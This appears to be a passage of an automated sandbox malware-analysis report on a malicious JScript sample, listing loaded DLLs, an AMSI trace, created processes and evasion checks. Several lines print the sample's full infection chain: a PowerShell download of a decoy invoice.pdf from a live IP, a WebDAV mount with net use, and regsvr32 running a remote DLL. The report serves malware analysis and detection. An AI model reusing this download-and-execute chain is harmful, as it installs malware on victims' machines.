Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2554.js.csv");ITextStream.WriteLine(" entry:8225 f:bgquyc");ITextStream.WriteLine(" exec:2 f:bgquyc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5110			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4686			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7000	Thread sleep count: 5110 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7000	Thread sleep count: 4686 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7208	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7404	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7632	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7920	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000C.00000002.1317049201.00000254A2B59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1317049201.00000254A2AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2557533928.000002AF2EC41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2555953812.000002AF2962B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2557572699.000002AF2EC59000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

